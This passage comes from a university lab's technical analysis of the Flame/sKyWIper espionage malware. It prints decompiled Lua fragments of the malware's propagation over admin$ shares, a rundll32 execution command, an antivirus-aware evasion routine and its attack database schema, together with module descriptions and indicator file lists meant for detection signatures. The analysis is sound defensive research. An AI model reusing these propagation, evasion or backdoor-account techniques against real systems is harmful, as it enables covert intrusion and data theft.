[NoValue]->wp-content/rss.php GATOR.SERVERS.-1.PORT [NoValue]->80 GATOR.SERVERS.-1.PASSWORD [NoValue]->LifeStyle2 \xe2\x80\xa6 XXX.info SINGLE_CMD_RUNNER P_CMDS.RESTORE_REDIRECTION_STATE SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER P_CMDS.RESTORE_REDIRECTION_STATE.SECS_BETWEEN_RUNS [NoValue]->87654 P_CMDS.RESTORE_REDIRECTION_STATE.MAX_RUNS [NoValue]->2 P_CMDS.RESTORE_REDIRECTION_STATE.CMD_BUF [NoValue]->BUF_SITE:271 CRC:525FXXXX P_CMDS.RESTORE_REDIRECTION_STATE.NUM_OF_RUNS [NoValue]->0 SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER GATOR.LEAK.NEXT_REQUEST_TIME 314821->1222222222 GATOR.LEAK.NEXT_REQUEST_SYS_TIME 133XXX2106->1222222222 SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER MANAGER.FLAME_ID 13XXXXX15X->13 SINGLE_CMD_RUNNER SINGLE_CMD_RUNNER GATOR.CMD.NEXT_REQUEST_TIME 340504->0 \xe2\x80\xa6 COMAGENT COMAGENTWORKER WEASEL IDLER CommandExecuter CommandFileFinder MICROBE MICROBE_SECURITY GadgetSupplierWaitThread MICROBE_SECURITY MICROBE SINGLE_CMD_RUNNER C:\\WINDOWS\\system32\\advpck.dat C:\\WINDOWS\\system32\\advpck.dat, EnableTBS C:\\WINDOWS\\system32\\advpck.dat C:\\WINDOWS\\system32\\ntaps.dat, EnableSHR C:\\WINDOWS\\system32\\ntaps.dat, EnableOFR Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 43 SINGLE_CMD_RUNNER Figure 41 \xe2\x80\x93 To691.tmp strings on C&C communications and other activity Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 44 6. Attack details \xe2\x80\x93 dictionary and scripts The file dstrlog.dat contains a ClanDB for names and terms used by the malware, an SQLite database used for attacks. This file is loaded through libclandb.lua by SQL commands, and the database is accessed using Lua scripts. We disclose detailed description of the SQLite database to show the SQL tables used for attacks. The attackers even take care of versions, and update the structure if necessary. The sample below shows a version upgrade script. if userVer == 1 or userVer == 2 then l_26_0:exec(""\\n ALTER TABLE entities ADD COLUMN tool_id INTEGER NULL;\\n ALTER TABLE entities ADD COLUMN first_update_dt DATETIME INTEGER NULL;\\n ALTER TABLE entities ADD COLUMN last_update_dt DATETIME INTEGER NULL;\\n ALTER TABLE entities ADD COLUMN last_ip_update_dt DATETIME INTEGER NULL;\\n ALTER TABLE metadata ADD COLUMN first_update_dt DATETIME INTEGER NULL;\\n ALTER TABLE metadata ADD COLUMN last_update_dt DATETIME INTEGER NULL;\\n ALTER TABLE attack_log ADD COLUMN home_id INTEGER NULL;\\n ALTER TABLE attack_log ADD COLUMN date_dt DATETIME INTEGER NULL;\\n ALTER TABLE attack_queue ADD COLUMN min_attack_interval INTEGER NULL;\\n ALTER TABLE attack_queue ADD COLUMN home_id INTEGER NULL;\\n ALTER TABLE attack_queue ADD COLUMN last_try_date_dt DATETIME INTEGER NULL;\\n ALTER TABLE attack_queue ADD COLUMN igno re_max BOOLEAN INTEGER NOT NULL DEFAULT 0;\\n\\n\\t\\t\\tCREATE TABLE IF NOT EXISTS cruise_attack_log (\\n\\t\\t\\t log_id INTEGER NOT NULL REFERENCES attack_log(line_id),\\n\\t\\t\\t user_sid TEXT NOT NULL,\\n\\t\\t\\t usersKyWIper TEXT NULL\\n\\t\\t\\t);\\n\\n \\t\\t\\tCREATE TABLE IF NOT EXISTS options_per_entity (\\n\\t\\t\\t entity_id INTEGER NOT NULL,\\n\\t\\t\\t attack_type TEXT NOT NULL,\\n\\t\\t\\t cred_id INTEGER NULL,\\n\\t\\t\\t retries_left INTEGER NULL\\n\\t\\t\\t);\\n\\n CREATE TABLE IF NOT EXISTS attack_params (\\n attack_queue_id INTEGER NOT NULL,\\n name TEXT NOT NULL,\\n value NUMERIC NULL,\\n\\n PRIMARY KEY(attack_queue_id, name)\\n );"") Figure 42 \xe2\x80\x93 ClanDB update if version is too old There are a number of names and phrases in the database used in the code of the malware. Deeper analysis is needed to fully understand all these references. Here, we include the result of our initial investigation with a note that these interpretations might not be correct. Boost: Possibly information gathering based on enquiries received from remote parties. Flame: Common name for attacks, most likely by exploits. Ef_trace.txt relation. %temp%\\dat3C.tmp and %systemroot%\\\\temp\\\\msdclr64.ocx related. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 45 Flask: Attacks can be Jimmy or Flask. Probably Flask is one flame. Not sure. Jimmy: A specific CLAN attack type, but also a flame. CLAN probably refers to a local network attack while flame can be anything. Based on dll: \xe2\x80\x9cc:\\Projects\\Jimmy\\jimmydll_v2.0\\JimmyForClan\\Jimmy\\bin\\srelease\\jimmydll\\inds vc32.pdb\xe2\x80\x9d reference can be found in it Movefile: No information Munch: Installation/propagation mechanism related to windows update and web downloads. Strings and possibly code can be found in mscrypt.dat MUNCH.GENERIC_BUFFERS.4.data.PATTERN ?*/windowsupdate/?/?elf?pdate/WSUS3/x86/Vista/WUClient-SelfUpdate- ActiveX~31bf3856ad364e35~x86~~7.0.6000.381.cab*?? v6/windowsupdate/redir/wuredir.cab v7/windowsupdate/redir/wuredir.cab v8/windowsupdate/redir/muv3wuredir.cab v9/windowsupdate/redir/muv4wuredir.cab VISTA_7_VERSION_S */version_s.xml MUIDENT muident.cab /windowsupdate/?/?elf?pdate/WSUS3/x86/Vista/wsus3setup.cab download.windowsupdate.com/v6/windowsupdate/?/SelfUpdate/AU/x86/XP/en/wusetup.cab /v9/windowsupdate/?/SelfUpdate/AU/x86/W2KSP2/*/wusetup.cab /v9/windowsupdate/?/?elf?pdate/WSUS3/x86/Other/wsus3setup.cab v7/windowsupdate/redir/wuredir.cab v9/windowsupdate/redir/muv4wuredir.cab Figure 43 \xe2\x80\x93 Munch attack related interesting strings SFS: Storage files. Some DAT files, like ntcache.dat, lmcache.dat. Snack: Related to Munch attack, possibly part of local propagation by exploit. Spotter: Possibly some scanner Transport: Replication method. Exploit-based propagation is most likely called flame, while that based on bad access permissions is a \xe2\x80\x9cTransport\xe2\x80\x9d. E.g. \xe2\x80\x9cNU\xe2\x80\x9d or \xe2\x80\x9cNUSystem\xe2\x80\x9d refers to \xe2\x80\x9cnet use\xe2\x80\x9d way of propagation. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 46 obj.REMOTE_PATH_TEMPLATES = {temp = string.format(""\\\\\\\\%s\\\\admin$\\\\temp"", l_4_0.tgt), systemroot = string.format(""\\\\\\\\%s\\\\admin$"", l_4_0.tgt), commonprogramfiles = string.format(""\\\\\\\\%s\\\\%s$\\\\Program Files\\\\Common Files"", l_4_0.tgt, remoteSystemDrive)} obj.REMOTE_PATH_TEMPLATES.windir = obj.REMOTE_PATH_TEMPLATES.systemroot obj.REMOTE_LOCAL_PATH_TEMPLATES = {temp = ""..\\\\temp""} Figure 44 \xe2\x80\x93 Net use based propagation targets get configured Euphoria: \xe2\x80\x9cEuphoriaApp\xe2\x80\x9d handling. Related to a \xe2\x80\x9cFlame\xe2\x80\x9d attack. Related to \xe2\x80\x9cmediaId\xe2\x80\x9d. Possibly file leaking after successful attack. BUENO_FLAME_DLL_KEY \xe2\x80\x93 pointer to a large 1 MB binary in wpgfilter.dat CONFIG_TABLE : Referred from Lua code for configuration directives. Contains lot of parameters for attacks. Not sure which configuration is that. Headache: Related to multiple attacks, possibly additional parameters or properties of the attacks. Multiple phrases are related to animals in the malware: Gator: Windowsupdate based internet-check. If everything successful, things go on. If not, then there is a minimum and maximum waiting time defined, and a multiplier to increase retries slowly. Goat: Possibly C&C communications to GOAT servers Frog: ?? Beetlejuice: ?? Microbe: ?? Weasel: ?? Great work is going on the topic! on 30/05 new information was published by Kasperksy It\xe2\x80\x99s available at https://www.securelist.com/en/blog?weblogid=208193538#w208193538 We updated this document to reflect up-to-date information on 30/05/2012. So from Kaspersky: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 47 Here is a brief overview of the available units. The names were extracted from the binary and the 146 resource. Beetlejuice Bluetooth: enumerates devices around the infected machine. May turn itself into a \xe2\x80\x9cbeacon\xe2\x80\x9d: announces the computer as a discoverable device and encode the status of the malware in device information using base64. Microbe Records audio from existing hardware sources. Lists all multimedia devices, stores complete device configuration, tries to select suitable recording device. Infectmedia Selects one of the methods for infecting media, i.e. USB disks. Available methods: Autorun_infector, Euphoria. Autorun_infector Creates \xe2\x80\x9cautorun.inf\xe2\x80\x9d that contains the malware and starts with a custom \xe2\x80\x9copen\xe2\x80\x9d command. The same method was used by Stuxnet before it employed the LNK exploit. Euphoria Create a \xe2\x80\x9cjunction point\xe2\x80\x9d directory with \xe2\x80\x9cdesktop.ini\xe2\x80\x9d and \xe2\x80\x9ctarget.lnk\xe2\x80\x9d from LINK1 and LINK2 entries of resource 146 (were not present in the resource file). The directory acts as a shortcut for launching Flame. Limbo Creates backdoor accounts with login \xe2\x80\x9cHelpAssistant\xe2\x80\x9d on the machines within the network domain if appropriate rights are available. Frog Infect machines using pre-defined user accounts. The only user account specified in the configuration resource is \xe2\x80\x9cHelpAssistant\xe2\x80\x9d that is created by the \xe2\x80\x9cLimbo\xe2\x80\x9d attack. Munch HTTP server that responds to \xe2\x80\x9c/view.php\xe2\x80\x9d and \xe2\x80\x9c/wpad.dat\xe2\x80\x9d requests. Snack Listens on network interfaces, receives and saves NBNS packets in a log file. Has an option to start only when \xe2\x80\x9cMunch\xe2\x80\x9d is started. Collected data is then used for replicating by network. Boot_dll_loader Configuration section that contains the list of all additional modules that should be loaded and started. Weasel Creates a directory listing of the infected computer. Boost Creates a list of \xe2\x80\x9cinteresting\xe2\x80\x9d files using several filename masks. Telemetry Logging facilities Gator When an Internet connection becomes available, it connects to the C&C servers, downloads new modules, and uploads collected data. Security Identifies programs that may be hazardous to Flame, i.e., anti-virus programs and firewalls. Bunny Dbquery Driller Headache Gadget The purpose of these modules is not yet known. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 48 6.1. Some interesting Lua scripts inside the code CRUISE_CRED.lua The script gathers credential information from an already infected machine. More precisely, it cruises all the token objects to find the ones belong to the administrator or the Administrators, Domain Admins groups. If it is successful, it updates cruiseAttackLog in the \xe2\x80\x9cCLAN\xe2\x80\x9d database by means of the user sd and the user name. For more information, please see the Tables creds and cruise_attack_log in Figure 48. basic_info_app.lua The script gathers basic information about an infected computer such as the flame version it has been infected with, the computer name, the ip address of the machine. Furthermore, it books various parameters about the nature of information leak (e.g., AVERAGE_LEAK_BANDWIDTH, LAST_LEAK_TO_INTERNET, MEDIA_LEAKS_FROM_THIS_ COMPUTER, etc). Note that the FLAME_VERSION parameter must have been used to avoid the reinfection of the same computer and also to update flame if it is neccessary. clan_seclog.lua The script parses the Security log by searching for certain event Ids and retrieves the correspondig username and ip information from it. It is supposedly used to collect information about the traces of infection, or the credentials and source IPs used to authenticate to the infected machine. The script examines the following event Ids, where the corresponding log entries store the required pieces of information (Account Name, User Name and IP address) Event Id: 540 \xe2\x80\x93 Refers to successful network logon. Among various parameters the log stores the User Name and Source Network Address as well. Event Id: 672 \xe2\x80\x93 Refers to Authentication Ticket Granted Audit event. In case of Windows, the Kerberos authentication uses the optional pre-authentication phase before issuing an authentication ticket by checking the credentials of the client. If the client successfully authenticated to the workstation, Windows puts a log entry with event id 672 into the Security log in order to demonstrate the successful initial logon event. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 49 Event Id 673: - Refers to Service Ticket Granted Audit event. Once the authentication ticket is granted a service ticket have to be gained. If it is so, the client could successfully logon to the domain, and Windows puts a log entry with the 673 event Id to the Security Log. Event Id 680: - Refers to Account Used for Logon by: . json.lua: json related string functions only casafety.lua: \xe2\x80\x9cCLANattack safety\xe2\x80\x9d tries to find out processes, registry information and similar related to ESET, KAV, McAfee, TrendMicro, and list from THREATENING_ PROGRAMS. Basically it\xe2\x80\x99s used to get information on how secure is to use the host from the perspective of the attacker. Some file names that are referred from code: ATTACK_FLAME_STARTLEAK: uses ""%temp%\\\\~txqvsl.tmp"" ATTACKOP_FLASK_PRODS: uses ""%temp%\\\\~mso2a2.tmp"" ATTACKOP_JIMMY_PRODS: uses ""%temp%\\\\~dra53.tmp"" 4784.dll creates the ~dra52.tmp and ~a29.tmp ATTACKOP_JIMMY.lua: ctx.exec:exec({cmdLine = ctx.transport:expandLocal(string.format(""cmd /c cd \\""%%temp%%\\"" &&(if exist \\""%s\\"" start /wait rundll32 \\""%s\\"",%s)&move /y \\""%%_systemroot%%\\\\temp\\\\~dra52.tmp\\"" \\""~dra53.tmp\\"" &del /q \\""%s\\"""", remoteDLLBasename, remoteDLLBasename, dllExportedFunction, remoteDLLBasename)), mofInfo = {confPath = ""LUA.CLAN.JIMMY_MOF"", fn = ""svchost1ex.mof""}}) Below is a description of the attack DLL files used in the Jimmy attack. 00004784.dll \xe2\x80\x93 jimmy.dll \xe2\x80\x93 contains resource 164 \xe2\x80\x9cBIN\xe2\x80\x9d -Resource 164 - ~60kbyte file, lot of 0x00 bytes, sparse information - contains extensions and string \xe2\x80\x9cComodo\xe2\x80\x9d - encrypted 00005729.dll 00006411.dll 00004069.exe Figure 45 \xe2\x80\x93 Internal executables/DLLs found in mssecmgr (main module) ATTACKOP_FLAME.luac ATTACKOP_FLAME_PRODS.luac ATTACKOP_FLAME_STARTLEAK.luac ATTACKOP_FLASK.luac ATTACKOP_FLASK_PRODS.luac ATTACKOP_JIMMY.luac Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 50 ATTACKOP_JIMMY_PRODS.luac ATTACKOP_MOVEFILE.luac ATTACKOP_RUNDLL.luac CRUISE_CRED.luac IMMED_ATTACK_ACTION.luac MUNCH_ATTACKED_ACTION.luac MUNCH_SHOULD_ATTACK.luac NETVIEW_HANDLER.luac NETVIEW_SPOTTER.luac REG_SAFETY.luac RESCH_EXEC.luac SECLOG_HANDLER.luac SECLOG_SPOTTER.luac SNACK_BROWSER_HANDLER.luac SNACK_ENTITY_ACTION.luac SNACK_NBNS_HANDLER.luac STD.luac SUCCESS_FLAME.luac SUCCESS_FLAME_STARTLEAK.luac SUCCESS_GET_PRODS.luac TRANSPORT_NUSYSTEM.luac TRANSPORT_NU_DUSER.luac USERPASS_CRED.luac WMI_EXEC.luac WMI_SAFETY.luac attackop_base_prods.luac attackop_base_sendfile.luac basic_info_app.luac casafety.luac clan_entities.luac clan_seclog.luac euphoria_app.luac event_writer.luac fio.luac flame_props.luac get_cmd_app.luac inline_script.luac (possibly multiple) json.luac leak_app.luac libclanattack.luac libclandb.luac libcommon.luac libdb.luac libflamebackdoor.luac liblog.luac libmmio.luac libmmstr.luac libnetutils.luac Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 51 libplugins.luac libwmi.luac main_app.luac payload_logger.luac post_cmd_app.luac rts_common.luac storage_manager.luac table_ext.luac transport_nu_base.luac Figure 46 \xe2\x80\x93 List of LUA scripts found in sKyWIper 6.2. Related files 0004784.dll (Jimmy.dll) 0004784.dll is part of the \xe2\x80\x9cJimmy\xe2\x80\x9d attack hence we use the name jimmy.dll. It contains the string \xe2\x80\x9cc:\\Projects\\Jimmy\\jimmydll_v2.0\\JimmyForClan\\Jimmy\\bin\\srelease\\jimmydll\\i ndsvc32.pdb\xe2\x80\x9d. 0004784.dll (jimmy.dll) can be extracted from decompressed resource 146 at position 0x2561F3. By running the jimmy.dll with rundll32 jimmy.dll, QDInit, it starts to produce files ~a29.tmp and ~dra52.tmp. (QDInit == Quick Disk Inspection?) Related information can be found in lua files: ATTACKOP_JIMMY.lua: ctx.exec:exec({cmdLine = ctx.transport:expandLocal(string.format(""cmd /c cd \\""%%temp%%\\"" &&(if exist \\""%s\\"" start /wait rundll32 \\""%s\\"",%s)&move /y \\""%%_systemroot%%\\\\temp\\\\~dra52.tmp\\"" \\""~dra53.tmp\\"" &del /q \\""%s\\"""", remoteDLLBasename, remoteDLLBasename, dllExportedFunction, remoteDLLBasename)), mofInfo = {confPath = ""LUA.CLAN.JIMMY_MOF"", fn = ""svchost1ex.mof""}}) Figure 47 \xe2\x80\x93 Jimmy temp files reference in Lua script ATTACKOP_JIMMY.lua The produced ~dra52.tmp in our samples contained around 580 byte compressed data (PPMd) on some partial file listings related information of some (5-10) files of the file system. The remaining data is compressed or encrypted. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 52 Most likely jimmy.dll is capable to grab screenshots and other modules perform other information stealing tasks. If we run the jimmy.dll manually with rundll32, ~a29.tmp contains 12 bytes, bytes pos 0x4- 0x7 are different on different systems, other bytes match. 00004069.exe 00004069.exe registers itself under the name \xe2\x80\x9cWindows Management Instrumentation Configurator\xe2\x80\x9d, and contains references to %windir%\\system32\\rdcvlt32.exe %temp%\\sl84.tmp WinInit.INI and other files. 6.3. SQLite table structure of CLAN DB Attack and other information is stored in SQLite and unknown \xe2\x80\x9cCLAN\xe2\x80\x9d databases. The dstrlog structure is described below. It appears unusual to use databases to store attack related information inside the malware, but apparently this is the case: mssecmgr.dll contains DB2 ODBC references inside (unknown goal) and attack strings contain Oracle references as well (most likely for information gathering). Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 53 Figure 48 \xe2\x80\x93dstrlog structure, part 1 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 54 Figure 49 \xe2\x80\x93dstrlog structure, part 2 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 55 Figure 50 \xe2\x80\x93dstrlog structure, part 3 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 56 7. Evasion techniques 7.1. Security programs relation The authors took extra precautions to evade detection by security products. The list is so comprehensive it is rarely seen. A very similar list can be found in the ccalc32drv.sys file, where table DangerousProcesses contains 346 items. We do not disclose the list as it could serve other malware authors for their goals. 7.2. Design choices and tricks It can clearly be seen that this malware was continuously developed over a long time period and it employs several tricks to evade security products. For example, the extensions are chosen according to the detected anti-malware products. We found that the malware usually uses the .ocx extension, but this decision is based on how to get best under the radar. In case of McAfee McShield installed, the preferred extension is changed to .tmp as seen in the decompiled code segment below. Transport.getPreferredDLLExtension = function(l_10_0) local remoteProcs = l_10_0.ctx.remoteSafety:procList() local gotMcShield = false for pid,exe in pairs(remoteProcs) do if string.lower(exe) == ""mcshield.exe"" then gotMcShield = true else end end if gotMcShield then log.writeEx(-1453109576, 189173052, log.colons(tostring(l_10_0.ctx.tgt), ""tmp"")) return ""tmp"" else return ""ocx"" end end Figure 51 \xe2\x80\x93 Extension selection based on active A/V system Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 57 7.3. Malware\xe2\x80\x99s own files list sKyWIper puts its own files on a whitelist. Extra care should be taken of these files and constants, and they should possibly be put into IDS/IPS signatures: preg.exe ntcache.dat lmcache.dat rccache.dat dcomm.dat dmmsapi.dat ~dra52.tmp commgr32 target.lnk ccalc32.sys authentication packages zff042 urpd.ocx Pcldrvx.ocx ~KWI guninst32 ~HLV ~DEB93D.tmp lib.ocx lss.ocx ~DEB83C.tmp stamn32 ~dra53.tmp nteps32 cmutlcfg.ocx ~DFL983.tmp ~DF05AC8.tmp ~DFD85D3.tmp ~a29.tmp dsmgr.ocx ~f28.tmp desc.ini fib32.bat ~d43a37b.tmp ~dfc855.tmp Ef_trace.log contents.btr wrm3f0 scrcons.exe wmiprvse.exe Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 58 wlndh32 mprhlp kbdinai services.exe ~ZLM0D1.ocx ~ZLM0D2.ocx sstab m4aaux.dat explorer.exe gppref32.exe inje svchost iexplore SeCEdit ~nms534 Windows Authentication Client Manager Windows NT Enhanced Processing Service ~rcf0 ~rcj0 Figure 52 \xe2\x80\x93Strings found in winlogon memory dump Ccalc32drv.sys contains configuration settings for the malware. A part of it is a table \xe2\x80\x9cExposureindicating\xe2\x80\x9d which should most likely mostly relate to the malware\xe2\x80\x99s own files. ExposureIndicating.1 audcache ExposureIndicating.2 audfilter.dat ExposureIndicating.3n ~ia33.tmp ExposureIndicating.4 commgr32 ExposureIndicating.5 nteps32 ExposureIndicating.6 ~f28.tmp ExposureIndicating.7 dsmgr.ocx ExposureIndicating.8 ~nms534 ExposureIndicating.9 m4aaux.dat ExposureIndicating.10 mpgaud.dat ExposureIndicating.11 msaudio ExposureIndicating.12 mspbee32 ExposureIndicating.13 ~a49.tmp ExposureIndicating.14 mssvc32.ocx ExposureIndicating.15 ~a38.tmp ExposureIndicating.16 MSAudio ExposureIndicating.17 boot32drv.sys ExposureIndicating.18 wave9 ExposureIndicating.19 wavesup3.drv ExposureIndicating.20 wpgfilter.dat ExposureIndicating.21 MSSecurityMgr ExposureIndicating.22 ssitable ExposureIndicating.23 mssecmgr.ocx ExposureIndicating.24 modevga.com Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 59 ExposureIndicating.25 soapr32.ocx ExposureIndicating.26 indsvc32.ocx ExposureIndicating.27 ~mso2a0.tmp ExposureIndicating.28 ~mso2a2.tmp ExposureIndicating.29 netprot32 ExposureIndicating.30 mssui.drv ExposureIndicating.31 preg.exe ExposureIndicating.32 ntcache.dat ExposureIndicating.33 lmcache.dat ExposureIndicating.34 rccache.dat ExposureIndicating.35 dcomm.dat ExposureIndicating.36 dmmsapi.dat ExposureIndicating.37 authentication packages ExposureIndicating.38 zff042 ExposureIndicating.39 indsvc32b.ocx ExposureIndicating.40 ~dra52.tmp ExposureIndicating.41 ~KWI ExposureIndicating.42 ccalc32.sys ExposureIndicating.43 ~HLV ExposureIndicating.44 urpd.ocx ExposureIndicating.45 lib.ocx ExposureIndicating.46 lss.ocx ExposureIndicating.47 target.lnk ExposureIndicating.48 stamn32 ExposureIndicating.49 guninst32 ExposureIndicating.50 ~DEB13DE.tmp ExposureIndicating.51 Pcldrvx.ocx ExposureIndicating.52 nddesp32.ocx ExposureIndicating.53 cmutlcfg.ocx ExposureIndicating.54 ~DEB93D.tmp ExposureIndicating.55 ~DEB83C.tmp ExposureIndicating.56 ~dra53.tmp ExposureIndicating.57 ~DFL983.tmp ExposureIndicating.58 ~a29.tmp ExposureIndicating.59 ~DF05AC8.tmp ExposureIndicating.60 ~DFD85D3.tmp ExposureIndicating.61 ~d43a37b.tmp ExposureIndicating.62 wrm3f0 ExposureIndicating.63 desc.ini ExposureIndicating.64 Ef_trace.log ExposureIndicating.65 wlndh32 ExposureIndicating.66 mprhlp ExposureIndicating.67 kbdinai ExposureIndicating.68 contents.btr ExposureIndicating.69 fib32.bat ExposureIndicating.70 sstab ExposureIndicating.71 scrcons.exe ExposureIndicating.72 wmiprvse.exe ExposureIndicating.73 services.exe ExposureIndicating.74 explorer.exe ExposureIndicating.75 inje ExposureIndicating.76 svchost ExposureIndicating.77 gppref32.exe Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 60 ExposureIndicating.78 ~dfc855.tmp ExposureIndicating.79 SeCEdit ExposureIndicating.80 DefaultEnvironment ExposureIndicating.81 LastUsedIdentifier ExposureIndicating.82 Windows Authentication Client Manager ExposureIndicating.83 Windows NT Enhanced Processing Service ExposureIndicating.84 ~rcf0 ExposureIndicating.85 ~rcj0 ExposureIndicating.86 ~ZLM0D1.ocx ExposureIndicating.87 ~ZLM0D2.ocx ExposureIndicating.88 Delayed Write Failed ExposureIndicating.89 iexplore ExposureIndicating.90 cgi-bin\\counter.cgi ExposureIndicating.91 Mon.com ExposureIndicating.92 Mon.exe ExposureIndicating.93 ~ekz167.tmp ExposureIndicating.94 ~zwp129.tmp ExposureIndicating.95 ~dfc634.tmp ExposureIndicating.96 ~dfc551.tmp ExposureIndicating.97 ~dfc412.tmp ExposureIndicating.98 tftp.exe ExposureIndicating.99 csvde.exe ExposureIndicating.100 dstrlog.dat ExposureIndicating.101 dstrlogh.dat ExposureIndicating.102 ~ZFF ExposureIndicating.103 ~ZLM ExposureIndicating.104 ~PCY ExposureIndicating.105 Firefox\\profiles ExposureIndicating.106 advnetcfg ExposureIndicating.107 hub001.dat ExposureIndicating.108 hub002.dat ExposureIndicating.109 .MSBTS ExposureIndicating.110 D:\\.. ExposureIndicating.111 E:\\.. ExposureIndicating.112 F:\\.. ExposureIndicating.113 G:\\.. ExposureIndicating.114 H:\\.. ExposureIndicating.115 watchxb.sys ExposureIndicating.116 ntaps.dat ExposureIndicating.117 netcfgi.ocx ExposureIndicating.118 \xef\xbf\xbdadvpck.dat ExposureIndicating.119 Advanced Network Configuration ExposureIndicating.120 commgr32.dll ExposureIndicating.121 comspol32.dll ExposureIndicating.122 ~rf288.tmp ExposureIndicating.123 msglu32.ocx ExposureIndicating.124 Windows Indexing Service ExposureIndicating.125 Remote Procedure Call Namespace Client ExposureIndicating.126 rpcnc.dat ExposureIndicating.127 sndmix.drv ExposureIndicating.128 fmpidx.bin ExposureIndicating.129 tokencpt ExposureIndicating.130 Windows Client Manager ExposureIndicating.131 secindex Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 61 ExposureIndicating.132 mixercfg.dat ExposureIndicating.133 audtable.dat ExposureIndicating.134 mixerdef.dat ExposureIndicating.135 MSSndMix ExposureIndicating.136 MSAuthCtrl ExposureIndicating.137 authpack.ocx ExposureIndicating.138 posttab.bin ExposureIndicating.139 lrlogic ExposureIndicating.140 lmcache.dat ExposureIndicating.141 ctrllist.dat ExposureIndicating.142 authcfg.dat ExposureIndicating.143 dcomm ExposureIndicating.144 dmmsapi Figure 53 \xe2\x80\x93 List of the malware\xe2\x80\x99s configuration settings \xe2\x80\x93 most likely contains the malware\xe2\x80\x99s own files Possible other related parts from different sources: SUICIDE.RESIDUAL_FILES.A [NoValue]->%temp%\\~a28.tmp SUICIDE.RESIDUAL_FILES.B [NoValue]->%temp%\\~DFL542.tmp SUICIDE.RESIDUAL_FILES.C [NoValue]->%temp%\\~DFL543.tmp SUICIDE.RESIDUAL_FILES.D [NoValue]->%temp%\\~DFL544.tmp SUICIDE.RESIDUAL_FILES.E [NoValue]->%temp%\\~DFL545.tmp SUICIDE.RESIDUAL_FILES.F [NoValue]->%temp%\\~DFL546.tmp SUICIDE.RESIDUAL_FILES.G [NoValue]->%temp%\\~dra51.tmp SUICIDE.RESIDUAL_FILES.H [NoValue]->%temp%\\~dra52.tmp SUICIDE.RESIDUAL_FILES.I [NoValue]->%temp%\\~fghz.tmp SUICIDE.RESIDUAL_FILES.J [NoValue]->%temp%\\~rei524.tmp SUICIDE.RESIDUAL_FILES.K [NoValue]->%temp%\\~rei525.tmp SUICIDE.RESIDUAL_FILES.L [NoValue]->%temp%\\~TFL848.tmp SUICIDE.RESIDUAL_FILES.M [NoValue]->%temp%\\~TFL842.tmp SUICIDE.RESIDUAL_FILES.O [NoValue]->%temp%\\GRb2M2.bat SUICIDE.RESIDUAL_FILES.P [NoValue]->%temp%\\indsvc32.ocx SUICIDE.RESIDUAL_FILES.Q [NoValue]->%temp%\\scaud32.exe SUICIDE.RESIDUAL_FILES.R [NoValue]->%temp%\\scsec32.exe SUICIDE.RESIDUAL_FILES.S [NoValue]->%temp%\\sdclt32.exe SUICIDE.RESIDUAL_FILES.T [NoValue]->%temp%\\sstab.dat SUICIDE.RESIDUAL_FILES.U [NoValue]->%temp%\\sstab15.dat SUICIDE.RESIDUAL_FILES.V [NoValue]->%temp%\\winrt32.dll SUICIDE.RESIDUAL_FILES.W [NoValue]->%temp%\\winrt32.ocx SUICIDE.RESIDUAL_FILES.X [NoValue]->%temp%\\wpab32.bat SUICIDE.RESIDUAL_FILES.T [NoValue]->%windir%\\system32\\commgr32.dll SUICIDE.RESIDUAL_FILES.A1 [NoValue]->%windir%\\system32\\comspol32.dll SUICIDE.RESIDUAL_FILES.A2 [NoValue]->%windir%\\system32\\comspol32.ocx SUICIDE.RESIDUAL_FILES.A3 [NoValue]->%windir%\\system32\\indsvc32.dll SUICIDE.RESIDUAL_FILES.A4 [NoValue]->%windir%\\system32\\indsvc32.ocx SUICIDE.RESIDUAL_FILES.A5 [NoValue]->%windir%\\system32\\modevga.com SUICIDE.RESIDUAL_FILES.A6 [NoValue]->%windir%\\system32\\mssui.drv SUICIDE.RESIDUAL_FILES.A7 [NoValue]->%windir%\\system32\\scaud32.exe SUICIDE.RESIDUAL_FILES.A8 [NoValue]->%windir%\\system32\\sdclt32.exe SUICIDE.RESIDUAL_FILES.A2 [NoValue]->%windir%\\system32\\watchxb.sys SUICIDE.RESIDUAL_FILES.A10 [NoValue]->%windir%\\system32\\winconf32.ocx SUICIDE.RESIDUAL_FILES.A11 [NoValue]->%windir%\\system32\\mssvc32.ocx Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 62 SUICIDE.RESIDUAL_FILES.A12 [NoValue]->%COMMONPROGRAMFILES%\\Microsoft Shared\\MSSecurityMgr\\rccache.dat SUICIDE.RESIDUAL_FILES.A13 [NoValue]->%COMMONPROGRAMFILES%\\Microsoft Shared\\MSSecurityMgr\\dstrlog.dat SUICIDE.RESIDUAL_FILES.A14 [NoValue]->%COMMONPROGRAMFILES%\\Microsoft Shared\\MSAudio\\dstrlog.dat SUICIDE.RESIDUAL_FILES.A15 [NoValue]->%COMMONPROGRAMFILES%\\Microsoft Shared\\MSSecurityMgr\\dstrlogh.dat 